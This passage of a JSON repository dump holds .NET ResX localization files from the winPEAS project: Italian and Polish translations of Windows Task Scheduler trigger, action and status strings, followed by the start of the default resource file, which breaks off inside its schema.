: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\n            : and then encoded with base64 encoding.\n    \n    mimetype: application/x-microsoft.net.object.soap.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\n            : and then encoded with base64 encoding.\n\n    mimetype: application/x-microsoft.net.object.bytearray.base64\n    value   : The object must be serialized into a byte array \n            : using a System.ComponentModel.TypeConverter\n            : and then encoded with base64 encoding.\n    -->\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\n    <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\n      <xsd:complexType>\n        <xsd:choice maxOccurs=\"unbounded\">\n          <xsd:element name=\"metadata\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"assembly\">\n            <xsd:complexType>\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"data\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"resheader\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\n            </xsd:complexType>\n          </xsd:element>\n        </xsd:choice>\n      </xsd:complexType>\n    </xsd:element>\n  </xsd:schema>\n  <resheader name=\"resmimetype\">\n    <value>text/microsoft-resx</value>\n  </resheader>\n  <resheader name=\"version\">\n    <value>2.0</value>\n  </resheader>\n  <resheader name=\"reader\">\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <resheader name=\"writer\">\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <data name=\"ActionTypeComHandler\" xml:space=\"preserve\">\n    <value>Chiamare un oggetto COM</value>\n  </data>\n  <data name=\"ActionTypeExecute\" xml:space=\"preserve\">\n    <value>Avviare un programma</value>\n  </data>\n  <data name=\"ActionTypeSendEmail\" xml:space=\"preserve\">\n    <value>Invia una email</value>\n  </data>\n  <data name=\"ActionTypeShowMessage\" xml:space=\"preserve\">\n    <value>Mostra un messaggio</value>\n  </data>\n  <data name=\"ComHandlerAction\" xml:space=\"preserve\">\n    <value>{3} {0:P}</value>\n    <comment>0 = Class GUID; 1 = Data; 2 = Id</comment>\n  </data>\n  <data name=\"DOWAllDays\" xml:space=\"preserve\">\n    <value>tutti i giorni</value>\n  </data>\n  <data name=\"EmailAction\" xml:space=\"preserve\">\n    <value>{1} {0}</value>\n    <comment>0 = Subject; 1 = To; 2 = Cc, 3 = Bcc, 4 = From, 5 = ReplyTo, 6 = Body, 7 = Server, 8 = Id</comment>\n  </data>\n  <data name=\"EndSentence\" xml:space=\"preserve\">\n    <value>.</value>\n  </data>\n  <data name=\"ExecAction\" xml:space=\"preserve\">\n    <value>{0} {1}</value>\n    <comment>0 = Executable Path; 1 = Arguments; 2 = WorkingDirectory; 3 = Id</comment>\n  </data>\n  <data name=\"ListSeparator\" xml:space=\"preserve\">\n    <value>,</value>\n  </data>\n  <data name=\"MOYAllMonths\" xml:space=\"preserve\">\n    <value>tutti i mesi</value>\n  </data>\n  <data name=\"MultipleActions\" xml:space=\"preserve\">\n    <value>Azioni multiple definite</value>\n  </data>\n  <data name=\"MultipleTriggers\" xml:space=\"preserve\">\n    <value>Attivazione multiple definite</value>\n  </data>\n  <data name=\"ShowMessageAction\" xml:space=\"preserve\">\n    <value>{0}</value>\n    <comment>0 = Title; 1 = MessageBody; 2 = Id</comment>\n  </data>\n  <data name=\"TaskDefaultPrincipal\" xml:space=\"preserve\">\n    <value>Autore</value>\n  </data>\n  <data name=\"TaskStateDisabled\" xml:space=\"preserve\">\n    <value>Disabile</value>\n  </data>\n  <data name=\"TaskStateQueued\" xml:space=\"preserve\">\n    <value>In coda</value>\n  </data>\n  <data name=\"TaskStateReady\" xml:space=\"preserve\">\n    <value>Pronto</value>\n  </data>\n  <data name=\"TaskStateRunning\" xml:space=\"preserve\">\n    <value>Corsa</value>\n  </data>\n  <data name=\"TaskStateUnknown\" xml:space=\"preserve\">\n    <value>Sconosciuto</value>\n  </data>\n  <data name=\"TriggerAnyUser\" xml:space=\"preserve\">\n    <value>Qualsiasi utente</value>\n  </data>\n  <data name=\"TriggerBoot1\" xml:space=\"preserve\">\n    <value>All'avvio del sistema</value>\n  </data>\n  <data name=\"TriggerDaily1\" xml:space=\"preserve\">\n    <value>A {0:t} ogni giorno</value>\n  </data>\n  <data name=\"TriggerDaily2\" xml:space=\"preserve\">\n    <value>A {0:t} ogni {1} giorni</value>\n  </data>\n  <data name=\"TriggerEvent1\" xml:space=\"preserve\">\n    <value>Evento personalizzato filtro</value>\n  </data>\n  <data name=\"TriggerEventBasic1\" xml:space=\"preserve\">\n    <value>Su evento - Log: {0}</value>\n    <comment>0 = Log name</comment>\n  </data>\n  <data name=\"TriggerEventBasic2\" xml:space=\"preserve\">\n    <value>, Fonte: {0}</value>\n    <comment>0 = Source name (appended after log)</comment>\n  </data>\n  <data name=\"TriggerEventBasic3\" xml:space=\"preserve\">\n    <value>, EventID: {0}</value>\n    <comment>0 = Event ID (appended after log or source)</comment>\n  </data>\n  <data name=\"TriggerIdle1\" xml:space=\"preserve\">\n    <value>Quando il computer è inattivo</value>\n  </data>\n  <data name=\"TriggerLogon1\" xml:space=\"preserve\">\n    <value>A collegarsi di {0}</value>\n  </data>\n  <data name=\"TriggerMonthly1\" xml:space=\"preserve\">\n    <value>A {0:t} sul giorno {1} di {2}, a partire dal {0:d}</value>\n    <comment>0 = StartBoundary; 1 = list of Days; 2 = list of Months</comment>\n  </data>\n  <data name=\"TriggerMonthlyDOW1\" xml:space=\"preserve\">\n    <value>A {0:t} sul {1} {2:f} ogni {3}, a partire dal {0:d}</value>\n    <comment>0 = StartBoundary; 1 = list of weeks of Month; 2 = list of Week Days; 3 = list of Months</comment>\n  </data>\n  <data name=\"TriggerRegistration1\" xml:space=\"preserve\">\n    <value>Quando l'attività viene creato o modificato</value>\n  </data>\n  <data name=\"TriggerSessionConsoleConnect\" xml:space=\"preserve\">\n    <value>Sulla connessione locale a {0}.</value>\n    <comment>0 = UserId</comment>\n  </data>\n  <data name=\"TriggerSessionConsoleDisconnect\" xml:space=\"preserve\">\n    <value>Il locale disconnettersi da {0}.</value>\n    <comment>0 = UserId</comment>\n  </data>\n  <data name=\"TriggerSessionRemoteConnect\" xml:space=\"preserve\">\n    <value>Sulla connessione remota a {0}.</value>\n    <comment>0 = UserId</comment>\n  </data>\n  <data name=\"TriggerSessionRemoteDisconnect\" xml:space=\"preserve\">\n    <value>Sul telecomando disconnettersi da {0}.</value>\n    <comment>0 = UserId</comment>\n  </data>\n  <data name=\"TriggerSessionSessionLock\" xml:space=\"preserve\">\n    <value>Sul blocco della workstation di {0}.</value>\n    <comment>0 = UserId</comment>\n  </data>\n  <data name=\"TriggerSessionSessionUnlock\" xml:space=\"preserve\">\n    <value>Su sblocco della workstation di {0}.</value>\n    <comment>0 = UserId</comment>\n  </data>\n  <data name=\"TriggerSessionUserSession\" xml:space=\"preserve\">\n    <value>sessione utente di {0}</value>\n    <comment>0 = UserId</comment>\n  </data>\n  <data name=\"TriggerTime1\" xml:space=\"preserve\">\n    <value>A {0:t} su {0:d}</value>\n    <comment>0 = StartBoundary</comment>\n  </data>\n  <data name=\"TriggerTypeBoot\" xml:space=\"preserve\">\n    <value>All'avvio</value>\n  </data>\n  <data name=\"TriggerTypeDaily\" xml:space=\"preserve\">\n    <value>Quotidiano</value>\n  </data>\n  <data name=\"TriggerTypeEvent\" xml:space=\"preserve\">\n    <value>Su un evento</value>\n  </data>\n  <data name=\"TriggerTypeIdle\" xml:space=\"preserve\">\n    <value>Su di inattività</value>\n  </data>\n  <data name=\"TriggerTypeLogon\" xml:space=\"preserve\">\n    <value>A effettuare l'accesso</value>\n  </data>\n  <data name=\"TriggerTypeMonthly\" xml:space=\"preserve\">\n    <value>Mensile</value>\n  </data>\n  <data name=\"TriggerTypeMonthlyDOW\" xml:space=\"preserve\">\n    <value>Mensile</value>\n  </data>\n  <data name=\"TriggerTypeRegistration\" xml:space=\"preserve\">\n    <value>Alla creazione / modifica di attività</value>\n  </data>\n  <data name=\"TriggerTypeTime\" xml:space=\"preserve\">\n    <value>Una volta</value>\n  </data>\n  <data name=\"TriggerTypeWeekly\" xml:space=\"preserve\">\n    <value>Settimanale</value>\n  </data>\n  <data name=\"TriggerWeekly1Week\" xml:space=\"preserve\">\n    <value>A {0:t} ogni {1} di ogni settimana, a partire {0: d}</value>\n    <comment>0 = StartBoundary; 1 = list of Week Days</comment>\n  </data>\n  <data name=\"TriggerWeeklyMultWeeks\" xml:space=\"preserve\">\n    <value>A {0:t} ogni {1} di {2} ogni settimana, a partire {0:d}</value>\n    <comment>0 = StartBoundary; 1 = list of Week Days; 2 = WeekInterval</comment>\n  </data>\n  <data name=\"WWAllWeeks\" xml:space=\"preserve\">\n    <value>tutte</value>\n  </data>\n  <data name=\"WWFifthWeek\" xml:space=\"preserve\">\n    <value>quinta</value>\n  </data>\n  <data name=\"WWFirstWeek\" xml:space=\"preserve\">\n    <value>prima</value>\n  </data>\n  <data name=\"WWFourthWeek\" xml:space=\"preserve\">\n    <value>quarta</value>\n  </data>\n  <data name=\"WWLastWeek\" xml:space=\"preserve\">\n    <value>scorsa</value>\n  </data>\n  <data name=\"WWSecondWeek\" xml:space=\"preserve\">\n    <value>seconda</value>\n  </data>\n  <data name=\"WWThirdWeek\" xml:space=\"preserve\">\n    <value>terza</value>\n  </data>\n  <data name=\"HyphenSeparator\">\n    <value>-</value>\n  </data>\n  <data name=\"TriggerDuration0\">\n    <value>indefinitamente</value>\n  </data>\n  <data name=\"TriggerDurationNot0\">\n    <value>per una durata di {0}</value>\n  </data>\n  <data name=\"TriggerEndBoundary\">\n    <value>Attivazione scade {0:G}.</value>\n  </data>\n  <data name=\"TriggerRepetition\">\n    <value>Dopo aver attivato, ripetere ogni {0} {1}.</value>\n  </data>\n  <data name=\"TriggerCustom1\" xml:space=\"preserve\">\n    <value>Attivazione personalizata</value>\n  </data>\n  <data name=\"TriggerTypeCustom\" xml:space=\"preserve\">\n    <value>Attivazione personalizata</value>\n  </data>\n  <data name=\"TriggerRepetitionShort\" xml:space=\"preserve\">\n    <value>Ogni {0} {1}.</value>\n  </data>\n  <data name=\"TriggerDurationNot0Short\" xml:space=\"preserve\">\n    <value>per {0}</value>\n  </data>\n  <data name=\"TriggerTypeSessionStateChange\" xml:space=\"preserve\">\n    <value>Sul cambiamento di stato</value>\n  </data>\n  <data name=\"Error_TriggerEndBeforeStart\" xml:space=\"preserve\">\n    <value>La data e l&amp;#39;ora in cui un trigger scade deve essere successiva al tempo in cui inizia o viene attivato.</value>\n  </data>\n</root>"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Properties/Resources.pl.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n  <!-- \n    Microsoft ResX Schema \n    \n    Version 2.0\n    \n    The primary goals of this format is to allow a simple XML format \n    that is mostly human readable. The generation and parsing of the \n    various data types are done through the TypeConverter classes \n    associated with the data types.\n    \n    Example:\n    \n    ... ado.net/XML headers & schema ...\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\n    <resheader name=\"version\">2.0</resheader>\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\n    </data>\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\n        <comment>This is a comment</comment>\n    </data>\n                \n    There are any number of \"resheader\" rows that contain simple \n    name/value pairs.\n    \n    Each data row contains a name, and value. The row also contains a \n    type or mimetype. Type corresponds to a .NET class that support \n    text/value conversion through the TypeConverter architecture. \n    Classes that don't support this are serialized and stored with the \n    mimetype set.\n    \n    The mimetype is used for serialized objects, and tells the \n    ResXResourceReader how to depersist the object. This is currently not \n    extensible. For a given mimetype the value must be set accordingly:\n    \n    Note - application/x-microsoft.net.object.binary.base64 is the format \n    that the ResXResourceWriter will generate, however the reader can \n    read any of the formats listed below.\n    \n    mimetype: application/x-microsoft.net.object.binary.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\n            : and then encoded with base64 encoding.\n    \n    mimetype: application/x-microsoft.net.object.soap.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\n            : and then encoded with base64 encoding.\n\n    mimetype: application/x-microsoft.net.object.bytearray.base64\n    value   : The object must be serialized into a byte array \n            : using a System.ComponentModel.TypeConverter\n            : and then encoded with base64 encoding.\n    -->\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\n    <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\n      <xsd:complexType>\n        <xsd:choice maxOccurs=\"unbounded\">\n          <xsd:element name=\"metadata\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"assembly\">\n            <xsd:complexType>\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"data\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"resheader\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\n            </xsd:complexType>\n          </xsd:element>\n        </xsd:choice>\n      </xsd:complexType>\n    </xsd:element>\n  </xsd:schema>\n  <resheader name=\"resmimetype\">\n    <value>text/microsoft-resx</value>\n  </resheader>\n  <resheader name=\"version\">\n    <value>2.0</value>\n  </resheader>\n  <resheader name=\"reader\">\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <resheader name=\"writer\">\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <data name=\"ActionTypeComHandler\" xml:space=\"preserve\">\n    <value>Wywołaj obiekt COM.</value>\n  </data>\n  <data name=\"ActionTypeExecute\" xml:space=\"preserve\">\n    <value>Uruchom program</value>\n  </data>\n  <data name=\"ActionTypeSendEmail\" xml:space=\"preserve\">\n    <value>Wyślij wiadomość e-mail</value>\n  </data>\n  <data name=\"ActionTypeShowMessage\" xml:space=\"preserve\">\n    <value>Wyświetl komunikat</value>\n  </data>\n  <data name=\"ComHandlerAction\" xml:space=\"preserve\">\n    <value>{3} {0:P}</value>\n  </data>\n  <data name=\"DOWAllDays\" xml:space=\"preserve\">\n    <value>Codziennie</value>\n  </data>\n  <data name=\"EmailAction\" xml:space=\"preserve\">\n    <value>{0} z {1}</value>\n  </data>\n  <data name=\"EndSentence\" xml:space=\"preserve\">\n    <value>.</value>\n  </data>\n  <data name=\"ExecAction\" xml:space=\"preserve\">\n    <value>{0} {1}</value>\n  </data>\n  <data name=\"HyphenSeparator\" xml:space=\"preserve\">\n    <value>-</value>\n  </data>\n  <data name=\"ListSeparator\" xml:space=\"preserve\">\n    <value>,</value>\n  </data>\n  <data name=\"MOYAllMonths\" xml:space=\"preserve\">\n    <value>comiesięcznie</value>\n  </data>\n  <data name=\"MultipleActions\" xml:space=\"preserve\">\n    <value>Zdefiniowano wiele akcji</value>\n  </data>\n  <data name=\"MultipleTriggers\" xml:space=\"preserve\">\n    <value>Zdefiniowano wiele wyzwalaczy</value>\n  </data>\n  <data name=\"ShowMessageAction\" xml:space=\"preserve\">\n    <value>{0}</value>\n  </data>\n  <data name=\"TaskDefaultPrincipal\" xml:space=\"preserve\">\n    <value>Autor</value>\n  </data>\n  <data name=\"TaskStateDisabled\" xml:space=\"preserve\">\n    <value>Wyłączony</value>\n  </data>\n  <data name=\"TaskStateQueued\" xml:space=\"preserve\">\n    <value>W kolejce</value>\n  </data>\n  <data name=\"TaskStateReady\" xml:space=\"preserve\">\n    <value>Gotowy</value>\n  </data>\n  <data name=\"TaskStateRunning\" xml:space=\"preserve\">\n    <value>Działa</value>\n  </data>\n  <data name=\"TaskStateUnknown\" xml:space=\"preserve\">\n    <value>Nieznany</value>\n  </data>\n  <data name=\"TriggerAnyUser\" xml:space=\"preserve\">\n    <value>dowolny użytkownik</value>\n  </data>\n  <data name=\"TriggerBoot1\" xml:space=\"preserve\">\n    <value>Przy uruchamienia systemu</value>\n  </data>\n  <data name=\"TriggerCustom1\" xml:space=\"preserve\">\n    <value>Wyzwalacz niestandardowy</value>\n  </data>\n  <data name=\"TriggerDaily1\" xml:space=\"preserve\">\n    <value>Każdego dnia o godzinie {0:t}</value>\n  </data>\n  <data name=\"TriggerDaily2\" xml:space=\"preserve\">\n    <value>O godzinie {0:t} co {1} dni</value>\n  </data>\n  <data name=\"TriggerDuration0\" xml:space=\"preserve\">\n    <value>przez nieokreślony czas</value>\n  </data>\n  <data name=\"TriggerDurationNot0\" xml:space=\"preserve\">\n    <value>przez okres {0}</value>\n  </data>\n  <data name=\"TriggerDurationNot0Short\" xml:space=\"preserve\">\n    <value>przez {0}</value>\n  </data>\n  <data name=\"TriggerEndBoundary\" xml:space=\"preserve\">\n    <value>Wyzwalacz wygasa o {0:G}.</value>\n  </data>\n  <data name=\"TriggerEvent1\" xml:space=\"preserve\">\n    <value>Niestandardowy filtr zdarzeń</value>\n  </data>\n  <data name=\"TriggerEventBasic1\" xml:space=\"preserve\">\n    <value>Przy zdarzeniu - Dziennik: {0}</value>\n  </data>\n  <data name=\"TriggerEventBasic2\" xml:space=\"preserve\">\n    <value>, Źródło: {0}</value>\n  </data>\n  <data name=\"TriggerEventBasic3\" xml:space=\"preserve\">\n    <value>, Identyfikator zdarzenia: {0}</value>\n  </data>\n  <data name=\"TriggerIdle1\" xml:space=\"preserve\">\n    <value>Przy bezczynności</value>\n  </data>\n  <data name=\"TriggerLogon1\" xml:space=\"preserve\">\n    <value>Przy logowaniu {0}</value>\n  </data>\n  <data name=\"TriggerMonthly1\" xml:space=\"preserve\">\n    <value>O godzinie {0:t}, dzień: {1}, miesiąc: {2}, data początkowa: {0:d}</value>\n  </data>\n  <data name=\"TriggerMonthlyDOW1\" xml:space=\"preserve\">\n    <value>Uruchamiane w tygodniu {1}, dzień: {2}, miesiąc: {3}, data początkowa: {0:d}</value>\n  </data>\n  <data name=\"TriggerRegistration1\" xml:space=\"preserve\">\n    <value>Przy tworzeniu/modyfikowaniu zadania</value>\n  </data>\n  <data name=\"TriggerRepetition\" xml:space=\"preserve\">\n    <value>Po wyzwoleniu powtarzaj co {0} przez okres {1}.</value>\n  </data>\n  <data name=\"TriggerRepetitionShort\" xml:space=\"preserve\">\n    <value>Co {0} przez {1}.</value>\n  </data>\n  <data name=\"TriggerSessionConsoleConnect\" xml:space=\"preserve\">\n    <value>Przy połączeniu lokalnym z sesją użytkownika {0}.</value>\n  </data>\n  <data name=\"TriggerSessionConsoleDisconnect\" xml:space=\"preserve\">\n    <value>Przy rozłączeniu lokalnym z sesją użytkownika {0}.</value>\n  </data>\n  <data name=\"TriggerSessionRemoteConnect\" xml:space=\"preserve\">\n    <value>Przy połączeniu zdalnym z sesją użytkownika {0}.</value>\n  </data>\n  <data name=\"TriggerSessionRemoteDisconnect\" xml:space=\"preserve\">\n    <value>Przy rozłączeniu zdalnym z sesją użytkownika {0}.</value>\n  </data>\n  <data name=\"TriggerSessionSessionLock\" xml:space=\"preserve\">\n    <value>Przy zablokowaniu stacji roboczej przez użytkownika {0}.</value>\n  </data>\n  <data name=\"TriggerSessionSessionUnlock\" xml:space=\"preserve\">\n    <value>Przy odblokowaniu stacji roboczej przez użytkownika {0}.</value>\n  </data>\n  <data name=\"TriggerSessionUserSession\" xml:space=\"preserve\">\n    <value>sesja użytkownika {0}</value>\n  </data>\n  <data name=\"TriggerTime1\" xml:space=\"preserve\">\n    <value>O godzinie {0:t} w dniu {0:d}</value>\n  </data>\n  <data name=\"TriggerTypeBoot\" xml:space=\"preserve\">\n    <value>Przy uruchamianiu</value>\n  </data>\n  <data name=\"TriggerTypeCustom\" xml:space=\"preserve\">\n    <value>Wyzwalacz niestandardowy</value>\n  </data>\n  <data name=\"TriggerTypeDaily\" xml:space=\"preserve\">\n    <value>Codziennie</value>\n  </data>\n  <data name=\"TriggerTypeEvent\" xml:space=\"preserve\">\n    <value>Przy zdarzeniu</value>\n  </data>\n  <data name=\"TriggerTypeIdle\" xml:space=\"preserve\">\n    <value>Przy bezczynności</value>\n  </data>\n  <data name=\"TriggerTypeLogon\" xml:space=\"preserve\">\n    <value>Przy logowaniu</value>\n  </data>\n  <data name=\"TriggerTypeMonthly\" xml:space=\"preserve\">\n    <value>Comiesięcznie</value>\n  </data>\n  <data name=\"TriggerTypeMonthlyDOW\" xml:space=\"preserve\">\n    <value>Comiesięcznie</value>\n  </data>\n  <data name=\"TriggerTypeRegistration\" xml:space=\"preserve\">\n    <value>Przy tworzeniu/modyfikowaniu zadania</value>\n  </data>\n  <data name=\"TriggerTypeSessionStateChange\" xml:space=\"preserve\">\n    <value>Przy zmianie stanu sesji</value>\n  </data>\n  <data name=\"TriggerTypeTime\" xml:space=\"preserve\">\n    <value>Jeden raz</value>\n  </data>\n  <data name=\"TriggerTypeWeekly\" xml:space=\"preserve\">\n    <value>Cotygodniowo</value>\n  </data>\n  <data name=\"TriggerWeekly1Week\" xml:space=\"preserve\">\n    <value>O godzinie {0:t}, dzień: {1}, data początkowa: {0:d}</value>\n  </data>\n  <data name=\"TriggerWeeklyMultWeeks\" xml:space=\"preserve\">\n    <value>O godzinie {0:t}, dzień: {1}, odstęp w tygodniach: {2}, data początkowa: {0:d}</value>\n  </data>\n  <data name=\"WWAllWeeks\" xml:space=\"preserve\">\n    <value>Każdy</value>\n  </data>\n  <data name=\"WWFifthWeek\" xml:space=\"preserve\">\n    <value>Piąty</value>\n  </data>\n  <data name=\"WWFirstWeek\" xml:space=\"preserve\">\n    <value>Pierwszy</value>\n  </data>\n  <data name=\"WWFourthWeek\" xml:space=\"preserve\">\n    <value>Czwarty</value>\n  </data>\n  <data name=\"WWLastWeek\" xml:space=\"preserve\">\n    <value>Ostatni</value>\n  </data>\n  <data name=\"WWSecondWeek\" xml:space=\"preserve\">\n    <value>Drugi</value>\n  </data>\n  <data name=\"WWThirdWeek\" xml:space=\"preserve\">\n    <value>Trzeci</value>\n  </data>\n  <data name=\"Error_TriggerEndBeforeStart\" xml:space=\"preserve\">\n    <value>Data i godzina wygaśnięcia wyzwalacza musi być późniejsza niż godzina jego uruchomienia lub aktywacji.</value>\n  </data>\n</root>"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Properties/Resources.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n  <!-- \n    Microsoft ResX Schema \n    \n    Version 2.0\n    \n    The primary goals of this format is to allow a simple XML format \n    that is mostly human readable. The generation and parsing of the \n    various data types are done through the TypeConverter classes \n    associated with the data types.\n    \n    Example:\n    \n    ... ado.net/XML headers & schema ...\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\n    <resheader name=\"version\">2.0</resheader>\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\n    </data>\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\n        <comment>This is a comment</comment>\n    </data>\n                \n    There are any number of \"resheader\" rows that contain simple \n    name/value pairs.\n    \n    Each data row contains a name, and value. The row also contains a \n    type or mimetype. Type corresponds to a .NET class that support \n    text/value conversion through the TypeConverter architecture. \n    Classes that don't support this are serialized and stored with the \n    mimetype set.\n    \n    The mimetype is used for serialized objects, and tells the \n    ResXResourceReader how to depersist the object. This is currently not \n    extensible. For a given mimetype the value must be set accordingly:\n    \n    Note - application/x-microsoft.net.object.binary.base64 is the format \n    that the ResXResourceWriter will generate, however the reader can \n    read any of the formats listed below.\n    \n    mimetype: application/x-microsoft.net.object.binary.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\n            : and then encoded with base64 encoding.\n    \n    mimetype: application/x-microsoft.net.object.soap.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\n            : and then encoded with base64 encoding.\n\n    mimetype: application/x-microsoft.net.object.bytearray.base64\n    value   : The object must be serialized into a byte array \n            : using a System.ComponentModel.TypeConverter\n            : and then encoded with base64 encoding.\n    -->\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\n    <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\n      <xsd:complexType>\n        <xsd:choice maxOccurs=\"unbounded\">\n          <xsd:element name=\"metadata\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"assembly\">\n            <xsd:complexType>\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"data\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" 